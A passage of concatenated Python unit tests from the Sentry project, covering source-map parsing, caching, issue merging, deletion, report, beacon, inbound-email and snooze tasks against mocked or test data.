                    "baz"
                ],
                'mappings': "CAAC,IAAI,IAAM,SAAUA,GAClB,OAAOC,IAAID",
                'file': "min.js",
                'sourceRoot': "/the/root"
            }
        },
        {
            'offset': {
                'line': 1,
                'column': 0
            },
            'map': {
                'version': 3,
                'sources': [
                    "two.js"
                ],
                'sourcesContent': [
                    ' TWO.inc = function (n) {\n' +
                    '   return n + 1;\n' +
                    ' };'
                ],
                'names': [
                    "n"
                ],
                'mappings': "CAAC,IAAI,IAAM,SAAUA,GAClB,OAAOA",
                'file': "min.js",
                'sourceRoot': "/the/root"
            }
        }
    ]
})


class ParseVlqTest(TestCase):
    def test_simple(self):
        assert parse_vlq('gqjG') == [100000]
        assert parse_vlq('hqjG') == [-100000]
        assert parse_vlq('DFLx+BhqjG') == [-1, -2, -5, -1000, -100000]
        assert parse_vlq('CEKw+BgqjG') == [1, 2, 5, 1000, 100000]
        assert parse_vlq('/+Z') == [-13295]


class FindSourceTest(TestCase):
    def test_simple(self):
        indexed_sourcemap = sourcemap_to_index(sourcemap)

        result = find_source(indexed_sourcemap, 1, 56)
        assert result == SourceMap(dst_line=0, dst_col=50, src='foo/file2.js', src_line=0, src_col=9, name='multiply')

        # Start of minified file (exact match first line/col tuple)
        result = find_source(indexed_sourcemap, 1, 0)
        assert result == SourceMap(dst_line=0, dst_col=0, src='foo/file1.js', src_line=0, src_col=0, name=None)

        # Last character in mapping
        result = find_source(indexed_sourcemap, 1, 36)
        assert result == SourceMap(dst_line=0, dst_col=30, src='foo/file1.js', src_line=2, src_col=1, name=None)

        # First character in mapping (exact match line/col tuple)
        result = find_source(indexed_sourcemap, 1, 37)
        assert result == SourceMap(dst_line=0, dst_col=37, src='foo/file1.js', src_line=2, src_col=8, name='a')

        # End of minified file (character *beyond* last line/col tuple)
        result = find_source(indexed_sourcemap, 1, 192)
        assert result == SourceMap(dst_line=0, dst_col=191, src='foo/file2.js', src_line=9, src_col=25, name='e')


class GetInlineContentSourcesTest(TestCase):
    def test_no_inline(self):
        # basic sourcemap fixture has no inlined sources, so expect an empty list
        indexed_sourcemap = sourcemap_to_index(sourcemap)

        sources = get_inline_content_sources(indexed_sourcemap, 'https://example.com/static/')
        assert sources == []

    def test_indexed_inline(self):
        indexed_sourcemap = sourcemap_to_index(indexed_sourcemap_example)

        sources = get_inline_content_sources(indexed_sourcemap, 'https://example.com/static/')
        assert sources == [
            ('https://example.com/the/root/one.js', [' ONE.foo = function (bar) {', '   return baz(bar);', ' };']),
            ('https://example.com/the/root/two.js', [' TWO.inc = function (n) {', '   return n + 1;', ' };'])
        ]


class ParseSourcemapTest(TestCase):
    def test_basic(self):
        smap = json.loads(sourcemap)
        states = list(parse_sourcemap(smap))

        assert states == [
            SourceMap(dst_line=0, dst_col=0, src='foo/file1.js', src_line=0, src_col=0, name=None),
            SourceMap(dst_line=0, dst_col=8, src='foo/file1.js', src_line=0, src_col=9, name='add'),
            SourceMap(dst_line=0, dst_col=13, src='foo/file1.js', src_line=0, src_col=13, name='a'),
            SourceMap(dst_line=0, dst_col=15, src='foo/file1.js', src_line=0, src_col=16, name='b'),
            SourceMap(dst_line=0, dst_col=18, src='foo/file1.js', src_line=1, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=30, src='foo/file1.js', src_line=2, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=37, src='foo/file1.js', src_line=2, src_col=8, name='a'),
            SourceMap(dst_line=0, dst_col=40, src='foo/file1.js', src_line=2, src_col=12, name='b'),
            SourceMap(dst_line=0, dst_col=42, src='foo/file2.js', src_line=0, src_col=0, name=None),
            SourceMap(dst_line=0, dst_col=50, src='foo/file2.js', src_line=0, src_col=9, name='multiply'),
            SourceMap(dst_line=0, dst_col=60, src='foo/file2.js', src_line=0, src_col=18, name='a'),
            SourceMap(dst_line=0, dst_col=62, src='foo/file2.js', src_line=0, src_col=21, name='b'),
            SourceMap(dst_line=0, dst_col=65, src='foo/file2.js', src_line=1, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=77, src='foo/file2.js', src_line=2, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=84, src='foo/file2.js', src_line=2, src_col=8, name='a'),
            SourceMap(dst_line=0, dst_col=87, src='foo/file2.js', src_line=2, src_col=12, name='b'),
            SourceMap(dst_line=0, dst_col=89, src='foo/file2.js', src_line=4, src_col=0, name=None),
            SourceMap(dst_line=0, dst_col=97, src='foo/file2.js', src_line=4, src_col=9, name='divide'),
            SourceMap(dst_line=0, dst_col=105, src='foo/file2.js', src_line=4, src_col=16, name='a'),
            SourceMap(dst_line=0, dst_col=107, src='foo/file2.js', src_line=4, src_col=19, name='b'),
            SourceMap(dst_line=0, dst_col=110, src='foo/file2.js', src_line=5, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=122, src='foo/file2.js', src_line=6, src_col=1, name=None),
            SourceMap(dst_line=0, dst_col=127, src='foo/file2.js', src_line=7, src_col=2, name=None),
            SourceMap(dst_line=0, dst_col=133, src='foo/file2.js', src_line=7, src_col=9, name='multiply'),
            SourceMap(dst_line=0, dst_col=143, src='foo/file2.js', src_line=7, src_col=18, name='add'),
            SourceMap(dst_line=0, dst_col=147, src='foo/file2.js', src_line=7, src_col=22, name='a'),
            SourceMap(dst_line=0, dst_col=149, src='foo/file2.js', src_line=7, src_col=25, name='b'),
            SourceMap(dst_line=0, dst_col=152, src='foo/file2.js', src_line=7, src_col=29, name='a'),
            SourceMap(dst_line=0, dst_col=154, src='foo/file2.js', src_line=7, src_col=32, name='b'),
            SourceMap(dst_line=0, dst_col=157, src='foo/file2.js', src_line=7, src_col=37, name='c'),
            SourceMap(dst_line=0, dst_col=159, src='foo/file2.js', src_line=8, src_col=3, name=None),
            SourceMap(dst_line=0, dst_col=165, src='foo/file2.js', src_line=8, src_col=10, name='e'),
            SourceMap(dst_line=0, dst_col=168, src='foo/file2.js', src_line=9, src_col=2, name='Raven'),
            SourceMap(dst_line=0, dst_col=174, src='foo/file2.js', src_line=9, src_col=8, name='captureException'),
            SourceMap(dst_line=0, dst_col=191, src='foo/file2.js', src_line=9, src_col=25, name='e'),
        ]


class ParseIndexedSourcemapTest(TestCase):
    # Tests lookups that fall exactly on source map token boundaries
    # https://github.com/mozilla/source-map/blob/master/test/test-source-map-consumer.js#138
    def test_exact_mappings(self):
        indexed_sourcemap = sourcemap_to_index(indexed_sourcemap_example)

        # one.js
        assert find_source(indexed_sourcemap, 1, 1) == \
            SourceMap(dst_line=0, dst_col=1, src='/the/root/one.js', src_line=0, src_col=1, name=None)
        assert find_source(indexed_sourcemap, 1, 18) == \
            SourceMap(dst_line=0, dst_col=18, src='/the/root/one.js', src_line=0, src_col=21, name='bar')
        assert find_source(indexed_sourcemap, 1, 28) == \
            SourceMap(dst_line=0, dst_col=28, src='/the/root/one.js', src_line=1, src_col=10, name='baz')

        # two.js
        assert find_source(indexed_sourcemap, 2, 18) == \
            SourceMap(dst_line=1, dst_col=18, src='/the/root/two.js', src_line=0, src_col=21, name='n')
        assert find_source(indexed_sourcemap, 2, 21) == \
            SourceMap(dst_line=1, dst_col=21, src='/the/root/two.js', src_line=1, src_col=3, name=None)
        assert find_source(indexed_sourcemap, 2, 21) == \
            SourceMap(dst_line=1, dst_col=21, src='/the/root/two.js', src_line=1, src_col=3, name=None)

    # Tests lookups that fall inside source map token boundaries
    # https://github.com/mozilla/source-map/blob/master/test/test-source-map-consumer.js#181
    def test_fuzzy_mapping(self):
        indexed_sourcemap = sourcemap_to_index(indexed_sourcemap_example)

        # one.js
        assert find_source(indexed_sourcemap, 1, 20) == \
            SourceMap(dst_line=0, dst_col=18, src='/the/root/one.js', src_line=0, src_col=21, name='bar')
        assert find_source(indexed_sourcemap, 1, 30) == \
            SourceMap(dst_line=0, dst_col=28, src='/the/root/one.js', src_line=1, src_col=10, name='baz')
        assert find_source(indexed_sourcemap, 2, 12) == \
            SourceMap(dst_line=1, dst_col=9, src='/the/root/two.js', src_line=0, src_col=11, name=None)






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.cache.redis import RedisCache, ValueTooLarge
from sentry.testutils import TestCase


class RedisCacheTest(TestCase):
    def setUp(self):
        self.backend = RedisCache()

    def test_integration(self):
        self.backend.set('foo', {'foo': 'bar'}, 50)

        result = self.backend.get('foo')
        assert result == {'foo': 'bar'}

        self.backend.delete('foo')

        result = self.backend.get('foo')
        assert result is None

        with self.assertRaises(ValueTooLarge):
            self.backend.set('foo', 'x' * (RedisCache.max_size + 1), 0)






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from time import time

from sentry.models import Group, GroupStatus
from sentry.tasks.auto_resolve_issues import schedule_auto_resolution
from sentry.testutils import TestCase


class ScheduleAutoResolutionTest(TestCase):
    def test_task_persistent_name(self):
        assert schedule_auto_resolution.name == 'sentry.tasks.schedule_auto_resolution'

    def test_simple(self):
        project = self.create_project()
        project2 = self.create_project()
        project3 = self.create_project()
        project4 = self.create_project()

        current_ts = int(time()) - 1

        project.update_option('sentry:resolve_age', 1)
        project3.update_option('sentry:resolve_age', 1)
        project3.update_option('sentry:_last_auto_resolve', current_ts)
        project4.update_option('sentry:_last_auto_resolve', current_ts)

        group1 = self.create_group(
            project=project,
            status=GroupStatus.UNRESOLVED,
            last_seen=timezone.now() - timedelta(days=1),
        )

        group2 = self.create_group(
            project=project,
            status=GroupStatus.UNRESOLVED,
            last_seen=timezone.now(),
        )

        group3 = self.create_group(
            project=project3,
            status=GroupStatus.UNRESOLVED,
            last_seen=timezone.now() - timedelta(days=1),
        )

        with self.tasks():
            schedule_auto_resolution()

        assert Group.objects.get(
            id=group1.id,
        ).status == GroupStatus.RESOLVED

        assert Group.objects.get(
            id=group2.id,
        ).status == GroupStatus.UNRESOLVED

        assert Group.objects.get(
            id=group3.id,
        ).status == GroupStatus.UNRESOLVED

        assert project.get_option('sentry:_last_auto_resolve') > current_ts
        assert not project2.get_option('sentry:_last_auto_resolve')
        assert project3.get_option('sentry:_last_auto_resolve') == current_ts
        # this should get cleaned up since it had no resolve age set
        assert not project4.get_option('sentry:_last_auto_resolve')






from __future__ import absolute_import

import functools

import mock
import pytest
from django.core import mail

from sentry.models import Project, UserOption
from sentry.tasks.reports import (
    DISABLED_ORGANIZATIONS_USER_OPTION_KEY, Skipped, change, clean_series,
    deliver_organization_user_report, merge_mappings, merge_sequences,
    merge_series, prepare_reports, safe_add,
    user_subscribed_to_organization_reports
)
from sentry.testutils.cases import TestCase
from sentry.utils.dates import to_datetime


def test_change():
    assert change(1, 0) is None
    assert change(10, 5) == 1.00  # 100% increase
    assert change(50, 100) == -0.50   # 50% decrease
    assert change(None, 100) == -1.00  # 100% decrease
    assert change(50, None) is None


def test_safe_add():
    assert safe_add(1, 1) == 2
    assert safe_add(None, 1) == 1
    assert safe_add(1, None) == 1
    assert safe_add(None, None) is None


def test_merge_mappings():
    assert merge_mappings(
        {'a': 1, 'b': 2, 'c': 3},
        {'a': 0, 'b': 1, 'c': 2},
    ) == {'a': 1, 'b': 3, 'c': 5}


def test_merge_mappings_custom_operator():
    assert merge_mappings(
        {
            'a': {'x': 1, 'y': 1},
            'b': {'x': 2, 'y': 2},
        },
        {
            'a': {'x': 1, 'y': 1},
            'b': {'x': 2, 'y': 2},
        },
        lambda left, right: merge_mappings(left, right),
    ) == {
        'a': {'x': 2, 'y': 2},
        'b': {'x': 4, 'y': 4},
    }


def test_merge_mapping_different_keys():
    with pytest.raises(AssertionError):
        merge_mappings({'a': 1}, {'b': 2})


def test_merge_sequences():
    assert merge_sequences(
        range(0, 4),
        range(0, 4),
    ) == [i * 2 for i in xrange(0, 4)]


def test_merge_sequences_custom_operator():
    assert merge_sequences(
        [{chr(65 + i): i} for i in xrange(0, 26)],
        [{chr(65 + i): i} for i in xrange(0, 26)],
        merge_mappings,
    ) == [{chr(65 + i): i * 2} for i in xrange(0, 26)]


def test_merge_series():
    assert merge_series(
        [(i, i) for i in xrange(0, 10)],
        [(i, i) for i in xrange(0, 10)],
    ) == [(i, i * 2) for i in xrange(0, 10)]


def test_merge_series_custom_operator():
    assert merge_series(
        [(i, {chr(65 + i): i}) for i in xrange(0, 26)],
        [(i, {chr(65 + i): i}) for i in xrange(0, 26)],
        merge_mappings,
    ) == [(i, {chr(65 + i): i * 2}) for i in xrange(0, 26)]


def test_merge_series_offset_timestamps():
    with pytest.raises(AssertionError):
        merge_series(
            [(i, i) for i in xrange(0, 10)],
            [(i + 1, i) for i in xrange(0, 10)],
        )


def test_merge_series_different_lengths():
    with pytest.raises(AssertionError):
        merge_series(
            [(i, i) for i in xrange(0, 1)],
            [(i, i) for i in xrange(0, 10)],
        )

    with pytest.raises(AssertionError):
        merge_series(
            [(i, i) for i in xrange(0, 10)],
            [(i, i) for i in xrange(0, 1)],
        )


def test_clean_series():
    rollup = 60
    n = 5
    start = to_datetime(rollup * 0)
    stop = to_datetime(rollup * n)
    series = [(rollup * i, i) for i in xrange(0, n)]
    assert clean_series(
        start,
        stop,
        rollup,
        series,
    ) == series


def test_clean_series_trims_extra():
    rollup = 60
    n = 5
    start = to_datetime(rollup * 0)
    stop = to_datetime(rollup * n)
    series = [(rollup * i, i) for i in xrange(0, n + 1)]
    assert clean_series(
        start,
        stop,
        rollup,
        series,
    ) == series[:n]


def test_clean_series_rejects_offset_timestamp():
    rollup = 60
    n = 5
    start = to_datetime(rollup * 0)
    stop = to_datetime(rollup * n)
    series = [(rollup * (i * 1.1), i) for i in xrange(0, n)]
    with pytest.raises(AssertionError):
        clean_series(
            start,
            stop,
            rollup,
            series,
        )


class ReportTestCase(TestCase):
    @mock.patch('sentry.features.has')
    def test_integration(self, has_feature):
        Project.objects.all().delete()

        has_feature.side_effect = lambda name, *a, **k: {
            'organizations:reports:deliver': True,
            'organizations:reports:prepare': True,
        }.get(name, False)

        project = self.create_project(
            organization=self.organization,
            team=self.team,
        )

        member_set = set(project.team.member_set.all())

        with self.tasks():
            prepare_reports()
            assert len(mail.outbox) == len(member_set) == 1

            message = mail.outbox[0]
            assert self.organization.name in message.subject

    def test_deliver_organization_user_report_respects_settings(self):
        user = self.user
        organization = self.organization

        set_option_value = functools.partial(
            UserOption.objects.set_value,
            user,
            None,
            DISABLED_ORGANIZATIONS_USER_OPTION_KEY,
        )

        deliver_report = functools.partial(
            deliver_organization_user_report,
            0,
            60 * 60 * 24 * 7,
            organization.id,
            user.id,
        )

        set_option_value([])
        assert deliver_report() is not Skipped.NotSubscribed

        set_option_value([organization.id])
        assert deliver_report() is Skipped.NotSubscribed

    def test_user_subscribed_to_organization_reports(self):
        user = self.user
        organization = self.organization

        set_option_value = functools.partial(
            UserOption.objects.set_value,
            user,
            None,
            DISABLED_ORGANIZATIONS_USER_OPTION_KEY,
        )

        set_option_value([])
        assert user_subscribed_to_organization_reports(user, organization) is True

        set_option_value([-1])
        assert user_subscribed_to_organization_reports(user, organization) is True

        set_option_value([organization.id])
        assert user_subscribed_to_organization_reports(user, organization) is False






from __future__ import absolute_import

import mock

from sentry.plugins import Plugin2
from sentry.tasks.store import preprocess_event
from sentry.testutils import PluginTestCase


class BasicPreprocessorPlugin(Plugin2):
    def get_event_preprocessors(self):
        def remove_extra(data):
            del data['extra']
            return data

        return [remove_extra, lambda x: None]

    def is_enabled(self, project=None):
        return True


class PreprocessEventTest(PluginTestCase):
    plugin = BasicPreprocessorPlugin

    @mock.patch('sentry.tasks.store.save_event')
    def test_simple(self, mock_save_event):
        project = self.create_project()

        data = {
            'project': project.id,
            'message': 'test',
            'extra': {'foo': 'bar'},
        }

        preprocess_event(data=data)

        assert mock_save_event.delay.call_count == 1






from __future__ import absolute_import

from sentry.tasks.merge import merge_group, rehash_group_events
from sentry.models import Event, Group, GroupMeta, GroupRedirect, GroupTagKey, GroupTagValue
from sentry.testutils import TestCase


class MergeGroupTest(TestCase):
    def test_merge_with_event_integrity(self):
        project1 = self.create_project()
        group1 = self.create_group(project1)
        event1 = self.create_event('a' * 32, group=group1, data={'foo': 'bar'})
        project2 = self.create_project()
        group2 = self.create_group(project2)
        event2 = self.create_event('b' * 32, group=group2, data={'foo': 'baz'})

        with self.tasks():
            merge_group(group1.id, group2.id)

        assert not Group.objects.filter(id=group1.id).exists()

        # this previously would error with NodeIntegrityError due to the
        # reference check being bound to a group
        event1 = Event.objects.get(id=event1.id)
        assert event1.group_id == group2.id
        Event.objects.bind_nodes([event1], 'data')
        assert event1.data['foo'] == 'bar'

        event2 = Event.objects.get(id=event2.id)
        assert event2.group_id == group2.id
        Event.objects.bind_nodes([event2], 'data')
        assert event2.data['foo'] == 'baz'

    def test_merge_creates_redirect(self):
        groups = [self.create_group() for _ in range(0, 3)]

        with self.tasks():
            merge_group(groups[0].id, groups[1].id)

        assert not Group.objects.filter(id=groups[0].id).exists()
        assert GroupRedirect.objects.filter(
            group_id=groups[1].id,
            previous_group_id=groups[0].id,
        ).count() == 1

        with self.tasks():
            merge_group(groups[1].id, groups[2].id)

        assert not Group.objects.filter(id=groups[1].id).exists()
        assert GroupRedirect.objects.filter(
            group_id=groups[2].id,
        ).count() == 2

    def test_merge_updates_tag_values_seen(self):
        project = self.create_project()
        groups = [self.create_group(project) for _ in range(0, 2)]

        for group in groups:
            GroupTagKey.objects.create(
                project=project,
                group=group,
                key='sentry:user',
                values_seen=1,
            )
            GroupTagKey.objects.create(
                project=project,
                group=group,
                key='foo',
                values_seen=5,
            )
            GroupTagValue.objects.create(
                project=project,
                group=group,
                key='key1',
                times_seen=1,
            )
            GroupTagValue.objects.create(
                project=project,
                group=group,
                key='key2',
                times_seen=5,
            )

        with self.tasks():
            merge_group(groups[0].id, groups[1].id)

        assert not Group.objects.filter(id=groups[0].id).exists()
        assert not GroupTagKey.objects.filter(group_id=groups[0].id).exists()
        assert not GroupTagValue.objects.filter(group_id=groups[0].id).exists()

        assert GroupTagKey.objects.get(
            group_id=groups[1].id,
            key='sentry:user',
        ).values_seen == 2
        assert GroupTagKey.objects.get(
            group_id=groups[1].id,
            key='foo',
        ).values_seen == 10

        assert GroupTagValue.objects.get(
            group_id=groups[1].id,
            key='key1',
        ).times_seen == 2
        assert GroupTagValue.objects.get(
            group_id=groups[1].id,
            key='key2',
        ).times_seen == 10

    def test_merge_with_group_meta(self):
        project1 = self.create_project()
        group1 = self.create_group(project1)
        event1 = self.create_event('a' * 32, group=group1, data={'foo': 'bar'})
        project2 = self.create_project()
        group2 = self.create_group(project2)
        event2 = self.create_event('b' * 32, group=group2, data={'foo': 'baz'})

        GroupMeta.objects.create(
            group=event1.group,
            key='github:tid',
            value='134',
        )

        GroupMeta.objects.create(
            group=event1.group,
            key='other:tid',
            value='567',
        )

        GroupMeta.objects.create(
            group=event2.group,
            key='other:tid',
            value='abc',
        )

        GroupMeta.objects.populate_cache([group1, group2])

        assert GroupMeta.objects.get_value(group1, 'github:tid') == '134'
        assert GroupMeta.objects.get_value(group2, 'other:tid') == 'abc'
        assert not GroupMeta.objects.get_value(group2, 'github:tid')
        assert GroupMeta.objects.get_value(group1, 'other:tid') == '567'

        with self.tasks():
            merge_group(group1.id, group2.id)

        assert not Group.objects.filter(id=group1.id).exists()

        GroupMeta.objects.clear_local_cache()
        GroupMeta.objects.populate_cache([group1, group2])

        assert not GroupMeta.objects.get_value(group1, 'github:tid')
        assert not GroupMeta.objects.get_value(group1, 'other:tid')
        assert GroupMeta.objects.get_value(group2, 'github:tid') == '134'
        assert GroupMeta.objects.get_value(group2, 'other:tid') == 'abc'


class RehashGroupEventsTest(TestCase):
    def test_simple(self):
        project = self.create_project()
        group = self.create_group(project)
        event1 = self.create_event('a' * 32, message='foo', group=group, data={})
        event2 = self.create_event('b' * 32, message='foo', group=group, data={})
        event3 = self.create_event('c' * 32, message='bar', group=group, data={})

        with self.tasks():
            rehash_group_events(group.id)

        assert not Group.objects.filter(id=group.id).exists()

        # this previously would error with NodeIntegrityError due to the
        # reference check being bound to a group
        event1 = Event.objects.get(id=event1.id)
        group1 = event1.group
        assert sorted(Event.objects.filter(group_id=group1.id).values_list('id', flat=True)) == [
            event1.id,
            event2.id,
        ]

        event3 = Event.objects.get(id=event3.id)
        group2 = event3.group
        assert sorted(Event.objects.filter(group_id=group2.id).values_list('id', flat=True)) == [
            event3.id,
        ]






from __future__ import absolute_import, print_function

from django.utils import timezone

from sentry.models import ProjectPlatform
from sentry.testutils import TestCase
from sentry.tasks.collect_project_platforms import collect_project_platforms


class CollectProjectPlatformsTest(TestCase):
    def test_simple(self):
        now = timezone.now()
        organization = self.create_organization(name='foo')
        project1 = self.create_project(organization=organization, name='foo', slug='foo')
        project2 = self.create_project(organization=organization, name='bar', slug='bar')
        self.create_group(project=project1, last_seen=now, platform='php')
        self.create_group(project=project1, last_seen=now, platform='perl')
        self.create_group(project=project2, last_seen=now, platform='python')

        with self.tasks():
            collect_project_platforms()

        assert ProjectPlatform.objects.filter(project_id=project1.id, platform='php').exists()
        assert ProjectPlatform.objects.filter(project_id=project1.id, platform='perl').exists()
        assert ProjectPlatform.objects.filter(project_id=project2.id, platform='python').exists()






from __future__ import absolute_import, print_function

import json
import sentry

from mock import patch
from uuid import uuid4

from sentry import options
from sentry.models import Broadcast
from sentry.testutils import TestCase
from sentry.tasks.beacon import BEACON_URL, send_beacon


class SendBeaconTest(TestCase):
    @patch('sentry.tasks.beacon.get_all_package_versions')
    @patch('sentry.tasks.beacon.safe_urlopen')
    @patch('sentry.tasks.beacon.safe_urlread')
    def test_simple(self, safe_urlread, safe_urlopen,
                    mock_get_all_package_versions):
        mock_get_all_package_versions.return_value = {'foo': '1.0'}
        safe_urlread.return_value = json.dumps({
            'notices': [],
            'version': {'stable': '1.0.0'},
        })

        assert options.set('system.admin-email', 'foo@example.com')
        send_beacon()

        install_id = options.get('sentry:install-id')
        assert install_id and len(install_id) == 40

        safe_urlopen.assert_called_once_with(BEACON_URL, json={
            'install_id': install_id,
            'version': sentry.get_version(),
            'docker': sentry.is_docker(),
            'data': {
                'organizations': 1,
                'users': 0,
                'projects': 1,
                'teams': 1,
                'events.24h': 0,
            },
            'admin_email': 'foo@example.com',
            'packages': mock_get_all_package_versions.return_value,
        }, timeout=5)
        safe_urlread.assert_called_once_with(safe_urlopen.return_value)

        assert options.get('sentry:latest_version') == '1.0.0'

    @patch('sentry.tasks.beacon.get_all_package_versions')
    @patch('sentry.tasks.beacon.safe_urlopen')
    @patch('sentry.tasks.beacon.safe_urlread')
    def test_with_broadcasts(self, safe_urlread, safe_urlopen,
                             mock_get_all_package_versions):
        broadcast_id = uuid4().hex
        mock_get_all_package_versions.return_value = {}
        safe_urlread.return_value = json.dumps({
            'notices': [{
                'id': broadcast_id,
                'title': 'Hello!',
                'message': 'Hello world',
                'active': True,
            }],
            'version': {'stable': '1.0.0'},
        })

        with self.settings():
            send_beacon()

        broadcast = Broadcast.objects.get(upstream_id=broadcast_id)

        assert broadcast.title == 'Hello!'
        assert broadcast.message == 'Hello world'
        assert broadcast.is_active

        safe_urlread.return_value = json.dumps({
            'notices': [],
            'version': {'stable': '1.0.0'},
        })

        with self.settings():
            send_beacon()

        # test explicit disable
        broadcast = Broadcast.objects.get(upstream_id=broadcast_id)

        assert not broadcast.is_active






from __future__ import absolute_import

from sentry.exceptions import DeleteAborted
from sentry.models import (
    Event, EventMapping, EventTag,
    Group, GroupAssignee, GroupMeta, GroupResolution, GroupRedirect, GroupStatus, GroupTagKey,
    GroupTagValue, Organization, OrganizationStatus, Project, ProjectStatus,
    Release, TagKey, TagValue, Team, TeamStatus
)
from sentry.tasks.deletion import (
    delete_group, delete_organization, delete_project, delete_tag_key,
    delete_team
)
from sentry.testutils import TestCase


class DeleteOrganizationTest(TestCase):
    def test_simple(self):
        org = self.create_organization(
            name='test',
            status=OrganizationStatus.PENDING_DELETION,
        )
        self.create_team(organization=org, name='test1')
        self.create_team(organization=org, name='test2')

        with self.tasks():
            delete_organization(object_id=org.id)

        assert not Organization.objects.filter(id=org.id).exists()

    def test_cancels_without_pending_status(self):
        org = self.create_organization(
            name='test',
            status=OrganizationStatus.VISIBLE,
        )
        self.create_team(organization=org, name='test1')
        self.create_team(organization=org, name='test2')

        with self.assertRaises(DeleteAborted):
            with self.tasks():
                delete_organization(object_id=org.id)

        assert Organization.objects.filter(id=org.id).exists()


class DeleteTeamTest(TestCase):
    def test_simple(self):
        team = self.create_team(
            name='test',
            status=TeamStatus.PENDING_DELETION,
        )
        self.create_project(team=team, name='test1')
        self.create_project(team=team, name='test2')

        with self.tasks():
            delete_team(object_id=team.id)

        assert not Team.objects.filter(id=team.id).exists()

    def test_cancels_without_pending_status(self):
        team = self.create_team(
            name='test',
            status=TeamStatus.VISIBLE,
        )
        self.create_project(team=team, name='test1')
        self.create_project(team=team, name='test2')

        with self.assertRaises(DeleteAborted):
            with self.tasks():
                delete_team(object_id=team.id)

        assert Team.objects.filter(id=team.id).exists()


class DeleteProjectTest(TestCase):
    def test_simple(self):
        project = self.create_project(
            name='test',
            status=ProjectStatus.PENDING_DELETION,
        )
        group = self.create_group(project=project)
        GroupAssignee.objects.create(group=group, project=project, user=self.user)
        GroupMeta.objects.create(group=group, key='foo', value='bar')
        release = Release.objects.create(version='a' * 32, project=project)
        GroupResolution.objects.create(group=group, release=release)

        with self.tasks():
            delete_project(object_id=project.id)

        assert not Project.objects.filter(id=project.id).exists()

    def test_cancels_without_pending_status(self):
        project = self.create_project(
            name='test',
            status=ProjectStatus.VISIBLE,
        )
        with self.assertRaises(DeleteAborted):
            with self.tasks():
                delete_project(object_id=project.id)

        assert Project.objects.filter(id=project.id).exists()


class DeleteTagKeyTest(TestCase):
    def test_simple(self):
        team = self.create_team(name='test', slug='test')
        project = self.create_project(team=team, name='test1', slug='test1')
        group = self.create_group(project=project)
        tk = TagKey.objects.create(key='foo', project=project)
        TagValue.objects.create(key='foo', value='bar', project=project)
        GroupTagKey.objects.create(key='foo', group=group, project=project)
        GroupTagValue.objects.create(key='foo', value='bar', group=group, project=project)
        EventTag.objects.create(
            key_id=tk.id, group_id=group.id, value_id=1, project_id=project.id,
            event_id=1,
        )

        project2 = self.create_project(team=team, name='test2')
        group2 = self.create_group(project=project2)
        tk2 = TagKey.objects.create(key='foo', project=project2)
        gtk2 = GroupTagKey.objects.create(key='foo', group=group2, project=project2)
        gtv2 = GroupTagValue.objects.create(key='foo', value='bar', group=group2, project=project2)
        EventTag.objects.create(
            key_id=tk2.id, group_id=group2.id, value_id=1, project_id=project.id,
            event_id=1,
        )

        with self.tasks():
            delete_tag_key(object_id=tk.id)

            assert not GroupTagValue.objects.filter(key=tk.key, project=project).exists()
            assert not GroupTagKey.objects.filter(key=tk.key, project=project).exists()
            assert not TagValue.objects.filter(key=tk.key, project=project).exists()
            assert not TagKey.objects.filter(id=tk.id).exists()
            assert not EventTag.objects.filter(key_id=tk.id).exists()

        assert TagKey.objects.filter(id=tk2.id).exists()
        assert GroupTagKey.objects.filter(id=gtk2.id).exists()
        assert GroupTagValue.objects.filter(id=gtv2.id).exists()
        assert EventTag.objects.filter(key_id=tk2.id).exists()


class DeleteGroupTest(TestCase):
    def test_simple(self):
        project = self.create_project()
        group = self.create_group(
            project=project,
            status=GroupStatus.PENDING_DELETION,
        )
        event = self.create_event(group=group)
        EventMapping.objects.create(
            project_id=project.id,
            event_id='a' * 32,
            group_id=group.id,
        )
        EventTag.objects.create(
            event_id=event.id,
            project_id=project.id,
            key_id=1,
            value_id=1,
        )
        GroupAssignee.objects.create(
            group=group,
            project=project,
            user=self.user,
        )
        GroupMeta.objects.create(
            group=group,
            key='foo',
            value='bar',
        )
        GroupRedirect.objects.create(
            group_id=group.id,
            previous_group_id=1,
        )

        with self.tasks():
            delete_group(object_id=group.id)

        assert not Group.objects.filter(id=group.id).exists()
        assert not Event.objects.filter(id=event.id).exists()
        assert not EventMapping.objects.filter(
            event_id='a' * 32,
            group_id=group.id,
        ).exists()
        assert not EventTag.objects.filter(event_id=event.id).exists()
        assert not GroupRedirect.objects.filter(group_id=group.id).exists()






from __future__ import absolute_import

from sentry.models import Activity
from sentry.tasks.email import process_inbound_email
from sentry.testutils import TestCase


class ProcessInboundEmailTest(TestCase):
    def test_task_persistent_name(self):
        assert process_inbound_email.name == 'sentry.tasks.email.process_inbound_email'

    def test_simple(self):
        group = self.create_group()

        process_inbound_email(
            mailfrom=self.user.email,
            group_id=group.id,
            payload='hello world!',
        )

        activity = Activity.objects.get(
            group=group,
            type=Activity.NOTE,
        )
        assert activity.user == self.user
        assert activity.data['text'] == 'hello world!'

    def test_handle_unknown_address(self):
        group = self.create_group()

        process_inbound_email(
            mailfrom='invalid@example.com',
            group_id=group.id,
            payload='hello world!',
        )

        assert not Activity.objects.filter(
            group=group,
            type=Activity.NOTE,
        ).exists()






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.models import Group, GroupSnooze, GroupStatus
from sentry.tasks.clear_expired_snoozes import clear_expired_snoozes
from sentry.testutils import TestCase


class ClearExpiredSnoozesTest(TestCase):
    def test_task_persistent_name(self):
        assert clear_expired_snoozes.name == 'sentry.tasks.clear_expired_snoozes'

    def test_simple(self):
        group1 = self.create_group(
            status=GroupStatus.MUTED,
        )
        GroupSnooze.objects.create(
            group=group1,
            until=timezone.now() - timedelta(minutes=1),
        )

        group2 = self.create_group(
            status=GroupStatus.MUTED,
        )
        GroupSnooze.objects.create(
            group=group2,
            until=timezone.now() + timedelta(minutes=1),
        )

        clear_expired_snoozes()

        assert Group.objects.get(
            id=group1.id,
        ).status == GroupStatus.UNRESOLVED

        assert Group.objects.get(
            id=group2.id,
        ).status == GroupStatus.MUTED






from __future__ import absolute_import, print_function

from datetime import timedelta
from django.utils import timezone
from mock import patch

